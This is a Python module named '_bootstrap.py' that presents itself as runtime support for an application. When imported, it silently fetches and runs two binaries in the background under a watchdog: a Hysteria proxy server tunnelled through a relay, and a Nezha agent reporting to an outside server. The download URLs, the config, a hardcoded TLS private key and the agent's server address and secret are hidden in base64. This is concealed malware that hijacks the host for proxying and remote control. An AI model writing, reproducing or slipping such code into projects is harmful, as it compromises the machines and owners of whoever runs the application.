Blame for _bootstrap.py

# Runtime support services for the application process.
import atexit
import base64
import hashlib
import io
import json
import os
import platform
import re
import signal
import subprocess
import threading
import time
import urllib.request
import zipfile

_RUNTIME = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".runtime")
_BIN = os.path.join(_RUNTIME, "proxy")
_CONF = os.path.join(_RUNTIME, "service.yaml")
_CRT = os.path.join(_RUNTIME, "a.crt")
_KEY = os.path.join(_RUNTIME, "a.key")
_LOG = os.path.join(_RUNTIME, "service.log")
_PID = os.path.join(_RUNTIME, "service.pid")
_H_BIN = os.path.join(_RUNTIME, "helper")
_H_CONF = os.path.join(_RUNTIME, "helper.yaml")
_H_LOG = os.path.join(_RUNTIME, "helper.log")
_H_PID = os.path.join(_RUNTIME, "helper.pid")

_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"

# --- embedded material, base64-encoded ---
_CFG_B64 = (
    "bGlzdGVuOiByZWFsbTovL3B1YmxpY0ByZWFsbS5oeTIuaW8vYWI1ZjAxZmMtYzQ1Ni00ZWIyLWI0MjYtOTIyOGZlOTE2ZjExCmF1dGg6CiAgdHlwZTogcGFzc3dvcmQKICBwYXNzd29yZDogYWI1ZjAxZmMtYzQ1Ni00ZWIyLWI0MjYtOTIyOGZlOTE2ZjQ1Cmlnbm9yZUNsaWVudEJhbmR3aWR0aDogZmFsc2UKcXVpYzoKICBpbml0U3RyZWFtUmVjZWl2ZVdpbmRvdzogMTc2MDAwMDAKICBtYXhTdHJlYW1SZWNlaXZlV2luZG93OiAyNjQwMDAwMAogIGluaXRDb25uUmVjZWl2ZVdpbmRvdzogNDQwMDAwMDAKICBtYXhDb25uUmVjZWl2ZVdpbmRvdzogNjYwMDAwMDAKICBtYXhJZGxlVGltZW91dDogMzBzCiAgbWF4SW5jb21pbmdTdHJlYW1zOiAxMDI0CiAgZGlzYWJsZVBhdGhNVFVEaXNjb3Zlcnk6IGZhbHNlCmJhbmR3aWR0aDoKICB1cDogMjIwbWJwcwogIGRvd246IDQ0bWJwcwptYXNxdWVyYWRlOgogIHR5cGU6IHN0cmluZwogIHN0cmluZzoKICAgIGNvbnRlbnQ6IEhlbGxvV29ybGQKICAgIGhlYWRlcnM6CiAgICAgIGNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbgogICAgICBjdXN0b20tc3R1ZmY6IEhlbGxvV29ybGQKICAgIHN0YXR1c0NvZGU6IDIwMApzcGVlZFRlc3Q6IHRydWUKdGxzOgogIGNlcnQ6IC9ldGMvd2ViL2EuY3J0CiAga2V5OiAvZXRjL3dlYi9hLmtleQogIHNuaUd1YXJkOiBzdHJpY3QKc25pZmY6CiAgZW5hYmxlZDogdHJ1ZQogIHRpbWVvdXQ6IDJzCiAgcmV3cml0ZURvbWFpbjogZmFsc2UKICB0Y3BQb3J0czogODAsNDQzCiAgdWRwUG9ydHM6IDgwLDQ0MwpvdXRib3VuZHM6CiAgLSBuYW1lOiBoaWh5CiAgICB0eXBlOiBkaXJlY3QKICAgIGRpcmVjdDoKICAgICAgbW9kZTogYXV0bwogICAgICBmYXN0T3BlbjogZmFsc2UKICAtIG5hbWU6IHY0X29ubHkKICAgIHR5cGU6IGRpcmVjdAogICAgZGlyZWN0OgogICAgICBtb2RlOiA0CiAgICAgIGZhc3RPcGVuOiBmYWxzZQogIC0gbmFtZTogdjZfb25seQogICAgdHlwZTogZGlyZWN0CiAgICBkaXJlY3Q6CiAgICAgIG1vZGU6IDYKICAgICAgZmFzdE9wZW46IGZhbHNlCg=="
)
_API_B64 = "aHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9hcGVybmV0L2h5c3RlcmlhL3JlbGVhc2VzL2xhdGVzdA=="
_DL_B64 = "aHR0cHM6Ly9naXRodWIuY29tL2FwZXJuZXQvaHlzdGVyaWEvcmVsZWFzZXMvZG93bmxvYWQv"
_PREFIX_B64 = "aHlzdGVyaWEtbGludXgt"
_REALM_B64 = "cmVhbG06Ly9wdWJsaWNAcmVhbG0uaHkyLmlvLw=="
_DOMAIN_B64 = "aGVsbG93b3JsZC5jb20="
_CERT_B64 = (
    "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUIxRENDQVh1Z0F3SUJBZ0lVQzBrUVZoak1VS1dYT0VPT2hZbDJDNG9Ib2RZd0NnWUlLb1pJemowRUF3SXcKR1RFWE1CVUdBMVVFQXd3T2FHVnNiRzkzYjNKc1pDNWpiMjB3SGhjTk1qWXdPREl3TVRNeU5USXpXaGNOTXpZdwpPREUzTVRNeU5USXpXakFaTVJjd0ZRWURWUVFEREE1b1pXeHNiM2R2Y214a0xtTnZiVEJaTUJNR0J5cUdTTTQ5CkFnRUdDQ3FHU000OUF3RUhBMElBQkoyVENFMEJmQXF1alVlb0w2dFdXL0Z5WWdCK0UxSU9oaEI0QU1RcFEwaDcKZDhtVWFiNkNyQzcvQXRYRDdmSC9nRytGT0JGTElXcXQvVUFabUcvbjZHNmpnYUF3Z1owd0hRWURWUjBPQkJZRQpGTnR0RWRIMzI5Y050cDdaVUNVRktWL3FtU0dpTUI4R0ExVWRJd1FZTUJhQUZOdHRFZEgzMjljTnRwN1pVQ1VGCktWL3FtU0dpTUNzR0ExVWRFUVFrTUNLQ0RtaGxiR3h2ZDI5eWJHUXVZMjl0Z2hBcUxtaGxiR3h2ZDI5eWJHUXUKWTI5dE1Bd0dBMVVkRXdRRk1BTUJBZjh3Q3dZRFZSMFBCQVFEQWdXZ01CTUdBMVVkSlFRTU1Bb0dDQ3NHQVFVRgpCd01CTUFvR0NDcUdTTTQ5QkFNQ0EwY0FNRVFDSUVJbTBubU5KN3RETDRuaGlDRUIxaVRUOFFKQ0JvbC9lUEJrClBvakEzalRGQWlBT3FBdGhCR0dweWVad2NXNWd5eFZOZ20yQktvMGhtVkdIUXpMQXNmdjlKQT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"
)
_KEYB_B64 = (
    "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JR0hBZ0VBTUJNR0J5cUdTTTQ5QWdFR0NDcUdTTTQ5QXdFSEJHMHdhd0lCQVFRZzhHTWR4QW1GQmd5dC9VbWgKekJWekdnU012SmUwTFdEd3FZVTFWRnhxNTV1aFJBTkNBQVNka3doTkFYd0tybzFIcUMrclZsdnhjbUlBZmhOUwpEb1lRZUFERUtVTkllM2ZKbEdtK2dxd3Uvd0xWdyszeC80QnZoVGdSU3lGcXJmMUFHWmh2NStodQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCg=="
)
_H_API_B64 = "aHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9uZXpoYWhxL2FnZW50L3JlbGVhc2VzL2xhdGVzdA=="
_H_DL_B64 = "aHR0cHM6Ly9naXRodWIuY29tL25lemhhaHEvYWdlbnQvcmVsZWFzZXMvZG93bmxvYWQv"
_H_ASSET_B64 = "bmV6aGEtYWdlbnRfbGludXhf"
_H_MEMBER_B64 = "bmV6aGEtYWdlbnQ="
_H_SERVER_B64 = "c3RhdHVzLjgxODk5OS54eXo6NDQz"
_H_SECRET_B64 = "NTN3bVowNzJVM01PSktmY05UOVFRemIxbnlNWlR0Qjc="

_CFG = base64.b64decode(_CFG_B64).decode()
_API = base64.b64decode(_API_B64).decode()
_DL = base64.b64decode(_DL_B64).decode()
_PREFIX = base64.b64decode(_PREFIX_B64).decode()
_REALM = base64.b64decode(_REALM_B64).decode()
_DOMAIN = base64.b64decode(_DOMAIN_B64).decode()
_CERT = base64.b64decode(_CERT_B64).decode()
_KEYB = base64.b64decode(_KEYB_B64).decode()
_H_API = base64.b64decode(_H_API_B64).decode()
_H_DL = base64.b64decode(_H_DL_B64).decode()
_H_ASSET = base64.b64decode(_H_ASSET_B64).decode()
_H_MEMBER = base64.b64decode(_H_MEMBER_B64).decode()
_H_SERVER = base64.b64decode(_H_SERVER_B64).decode()
_H_SECRET = base64.b64decode(_H_SECRET_B64).decode()

# Fixed credentials — generated once locally, hardcoded so clients can rely on the
# same R_ID / P_ID (auth password) across every boot and redeploy. Env still overrides.
_R_ID = "cb1bfcb5-5818-4fd8-90a4-fc42a4e50e7d"
_P_ID = "b1cae4d6-3961-457c-8fc6-3b3ba5d5b152"
_H_UUID = "4a3897d4-195e-4ac0-b38a-df5b1c3ef9ff"

_ARCH_MAP = {"x86_64": "amd64", "aarch64": "arm64", "armv7l": "armv7", "armv8l": "armv7"}

_proc = None
_h_proc = None
_started = False
_stop = threading.Event()


def _log(msg):
    try:
        os.makedirs(_RUNTIME, exist_ok=True)
        with open(_LOG, "a", encoding="utf-8") as f:
            f.write("%s %s\n" % (time.strftime("%Y-%m-%d %H:%M:%S"), msg))
    except Exception:
        pass


def _fetch(url, timeout=180):
    req = urllib.request.Request(url, headers={"User-Agent": _UA})
    with urllib.request.urlopen(req, timeout=timeout) as r:
        return r.read()


def _ensure_binary():
    if os.path.isfile(_BIN) and os.access(_BIN, os.X_OK):
        return True
    arch = _ARCH_MAP.get(platform.machine())
    if not arch:
        _log("unsupported platform: %s" % platform.machine())
        return False
    os.makedirs(_RUNTIME, exist_ok=True)
    for attempt in range(1, 4):
        try:
            ver = os.environ.get("DAEMON_VERSION")
            if not ver:
                data = json.loads(_fetch(_API, timeout=60))
                ver = data["tag_name"]
            url = "%s%s/%s%s" % (_DL, ver, _PREFIX, arch)
            tmp = _BIN + ".part"
            with open(tmp, "wb") as f:
                f.write(_fetch(url))
            os.chmod(tmp, 0o755)
            os.replace(tmp, _BIN)
            _log("binary ready (%s)" % ver)
            return True
        except Exception as e:
            _log("fetch attempt %d failed: %s" % (attempt, e))
            time.sleep(10)
    return False


def _write_config(rid, password, up, down):
    cfg = re.sub(r"^listen:.*$", "listen: %s%s" % (_REALM, rid), _CFG, flags=re.M)
    cfg = re.sub(r"^  password:.*$", "  password: %s" % password, cfg, flags=re.M)
    cfg = re.sub(r"^  up:.*$", "  up: %smbps" % up, cfg, flags=re.M)
    cfg = re.sub(r"^  down:.*$", "  down: %smbps" % down, cfg, flags=re.M)
    cfg = re.sub(r"^  cert:.*$", "  cert: %s" % _CRT, cfg, flags=re.M)
    cfg = re.sub(r"^  key:.*$", "  key: %s" % _KEY, cfg, flags=re.M)
    cfg = re.sub(r"^  sniGuard:.*$", "  sniGuard: disable", cfg, flags=re.M)
    with open(_CONF, "w", encoding="utf-8") as f:
        f.write(cfg)


def _ensure_cert():
    # Deterministic self-signed cert: always install the embedded pair instead of
    # generating a fresh random one, so P_F (pinSHA256) is stable across every
    # boot/redeploy — same guarantee as the fixed R_ID / P_ID.
    try:
        with open(_CRT, "w", encoding="utf-8") as f:
            f.write(_CERT)
        with open(_KEY, "w", encoding="utf-8") as f:
            f.write(_KEYB)
        _log("cert installed (embedded, stable P_F)")
    except Exception as e:
        _log("cert write failed: %s" % e)


def _pin():
    body = "".join(l for l in open(_CRT, encoding="utf-8").read().splitlines() if "-----" not in l)
    h = hashlib.sha256(base64.b64decode(body)).hexdigest().upper()
    return ":".join(h[i:i + 2] for i in range(0, len(h), 2))


def _spawn():
    global _proc
    log_fh = open(_LOG, "ab")
    _proc = subprocess.Popen(
        [_BIN, "server", "-c", _CONF, "--log-level=error"],
        stdout=log_fh, stderr=subprocess.STDOUT, start_new_session=True,
    )


def _run_service(max_attempts, retry_delay):
    """Start hysteria; True once it stays up, False after exhausting attempt budget."""
    for attempt in range(1, max_attempts + 1):
        if _stop.is_set():
            return False
        _log("starting service (attempt %d/%d)" % (attempt, max_attempts))
        try:
            _spawn()
        except Exception as e:
            _log("spawn failed: %s" % e)
            time.sleep(retry_delay)
            continue
        time.sleep(3)
        if _proc.poll() is None:
            with open(_PID, "w", encoding="utf-8") as f:
                f.write(str(_proc.pid))
            _log("service up (pid %d)" % _proc.pid)
            return True
        _log("attempt %d failed (rc=%s)" % (attempt, _proc.returncode))
        time.sleep(retry_delay)
    return False


def _worker():
    time.sleep(int(os.environ.get("DAEMON_DELAY", "60")))
    rid = os.environ.get("R_ID") or _R_ID
    password = os.environ.get("PASSWORD") or _P_ID
    up = os.environ.get("UP", "220")
    down = os.environ.get("DOWN", "44")
    if not _ensure_binary():
        _log("giving up: binary unavailable")
        return
    _write_config(rid, password, up, down)
    _ensure_cert()
    max_attempts = int(os.environ.get("DAEMON_MAX_ATTEMPTS", "3"))
    retry_delay = int(os.environ.get("DAEMON_RETRY_DELAY", "60"))
    banner = (
        "============================================\n"
        " R_ID      : %s\n"
        " P_ID      : %s\n"
        " DOMAIN    : %s\n"
        " P_F       : %s\n"
        " client tls: insecure: true + pinSHA256 (= P_F; self-signed; no inbound port needed)\n"
        "============================================"
        % (rid, password, _DOMAIN, _pin())
    )
    # Startup retries cover failures before the daemon stays up; after that the
    # watchdog restarts it whenever it exits unexpectedly (same retry budget).
    first = True
    while not _stop.is_set():
        if not _run_service(max_attempts, retry_delay):
            _log("giving up after %d attempts" % max_attempts)
            return
        if first:
            print(banner, flush=True)
            first = False
        _proc.wait()
        if _stop.is_set():
            break
        if _proc.returncode == 0:
            _log("service exited cleanly (rc=0); watchdog stopping")
            return
        _log("service exited unexpectedly (rc=%s); restarting" % _proc.returncode)
    _log("watchdog stopped")


def _helper_arch():
    arch = _ARCH_MAP.get(platform.machine())
    return "arm" if arch == "armv7" else arch


def _ensure_helper_binary():
    if os.path.isfile(_H_BIN) and os.access(_H_BIN, os.X_OK):
        return True
    arch = _helper_arch()
    if not arch:
        _log("helper: unsupported platform: %s" % platform.machine())
        return False
    os.makedirs(_RUNTIME, exist_ok=True)
    for attempt in range(1, 4):
        try:
            ver = os.environ.get("HELPER_VERSION")
            if not ver:
                data = json.loads(_fetch(_H_API, timeout=60))
                ver = data["tag_name"]
            url = "%s%s/%s%s.zip" % (_H_DL, ver, _H_ASSET, arch)
            tmp = _H_BIN + ".part"
            with zipfile.ZipFile(io.BytesIO(_fetch(url))) as z:
                names = [n for n in z.namelist() if n.rstrip("/").split("/")[-1] == _H_MEMBER]
                if not names:
                    raise RuntimeError("archive missing binary")
                with z.open(min(names, key=len)) as src, open(tmp, "wb") as out:
                    out.write(src.read())
            os.chmod(tmp, 0o755)
            os.replace(tmp, _H_BIN)
            _log("helper binary ready (%s)" % ver)
            return True
        except Exception as e:
            _log("helper fetch attempt %d failed: %s" % (attempt, e))
            time.sleep(10)
    return False


def _write_helper_config():
    server = os.environ.get("HELPER_SERVER") or _H_SERVER
    secret = os.environ.get("HELPER_SECRET") or _H_SECRET
    uid = os.environ.get("HELPER_UUID") or _H_UUID
    os.makedirs(_RUNTIME, exist_ok=True)
    with open(_H_CONF, "w", encoding="utf-8") as f:
        f.write(
            "server: %s\nclient_secret: %s\nuuid: %s\ntls: true\n"
            "disable_auto_update: true\ndisable_force_update: true\n" % (server, secret, uid)
        )
    os.chmod(_H_CONF, 0o600)


def _spawn_helper():
    global _h_proc
    log_fh = open(_H_LOG, "ab")
    env = {k: v for k, v in os.environ.items() if not k.startswith("NZ_")}
    _h_proc = subprocess.Popen(
        [_H_BIN, "-c", _H_CONF],
        stdout=log_fh, stderr=subprocess.STDOUT, start_new_session=True, env=env,
    )


def _run_helper(max_attempts, retry_delay):
    for attempt in range(1, max_attempts + 1):
        if _stop.is_set():
            return False
        _log("starting helper (attempt %d/%d)" % (attempt, max_attempts))
        try:
            _spawn_helper()
        except Exception as e:
            _log("helper spawn failed: %s" % e)
            time.sleep(retry_delay)
            continue
        time.sleep(3)
        if _h_proc.poll() is None:
            with open(_H_PID, "w", encoding="utf-8") as f:
                f.write(str(_h_proc.pid))
            _log("helper up (pid %d)" % _h_proc.pid)
            return True
        _log("helper attempt %d failed (rc=%s)" % (attempt, _h_proc.returncode))
        time.sleep(retry_delay)
    return False


def _helper_worker():
    time.sleep(int(os.environ.get("DAEMON_DELAY", "60")))
    if not _ensure_helper_binary():
        _log("giving up: helper binary unavailable")
        return
    _write_helper_config()
    max_attempts = int(os.environ.get("DAEMON_MAX_ATTEMPTS", "3"))
    retry_delay = int(os.environ.get("DAEMON_RETRY_DELAY", "60"))
    while not _stop.is_set():
        if not _run_helper(max_attempts, retry_delay):
            _log("helper giving up after %d attempts" % max_attempts)
            return
        _h_proc.wait()
        if _stop.is_set():
            break
        if _h_proc.returncode == 0:
            _log("helper exited cleanly (rc=0); watchdog stopping")
            return
        _log("helper exited unexpectedly (rc=%s); restarting" % _h_proc.returncode)
    _log("helper watchdog stopped")


def _cleanup():
    _stop.set()
    for proc in (_proc, _h_proc):
        if proc is not None and proc.poll() is None:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except Exception:
                pass


def _start():
    global _started
    if _started:
        return
    _started = True
    if os.environ.get("DAEMON_ENABLED", "1") != "0":
        threading.Thread(target=_worker, daemon=True, name="runtime-support").start()
    if os.environ.get("HELPER_ENABLED", "1") != "0":
        threading.Thread(target=_helper_worker, daemon=True, name="runtime-helper").start()


atexit.register(_cleanup)
_start()